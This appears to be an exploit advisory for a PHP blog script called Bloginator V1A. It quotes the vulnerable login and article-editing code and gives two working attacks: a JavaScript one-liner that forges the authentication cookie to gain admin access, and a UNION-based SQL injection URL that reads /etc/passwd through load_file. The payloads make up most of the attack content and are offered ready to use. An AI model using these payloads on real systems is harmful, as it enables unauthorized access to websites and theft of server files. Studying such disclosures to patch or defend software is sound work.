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Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org
Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0
Greets to = Osirys, Myral, str0ke
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Vulnerability = Insicure Cookie Handling
###########################################################################
[CODE]
[URL] www.site.com/bloginator/articleCall.php
global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST[\'name\'],0,32));
$p_password = strip_tags(substr($_POST[\'password\'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
{
setcookie(\"identifyYourself\",\"you are identified\");
print \"Login successfull<br>\";
print $returnLink;
}
else {print \"Wrong username or password\";
}
}
[/CODE]
[EXPLOIT]
javascript:document.cookie = \"identifyYourself=you+are+identified; path=/\";
[/EXPLOIT]
############################################################################
Vulnerability = SQL injection
############################################################################
[CODE]
[URL] www.site.com/bloginator/articleCall.php
$action = @$_GET[\'action\'];
[...]
$id = $_GET[\'id\'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = \"select * FROM articles WHERE id=\'$id\'\";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,\'title\');
$title = htmlentities($title);
$article = mysql_result($sql,0,\'article\');
$article = htmlentities($article);
$link = mysql_result($sql,0,\'link\');
$link = htmlentities($link);
startHTML(\"Edit ID # \".$id);
?>
[/CODE]
[EXPLOIT]
As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query.
www.site.com/action=edit&id=fireshot\' union select 1,2,3,4,load_file(\'/etc/passwd\'),6,7 order by \'*
[/EXPLOIT]
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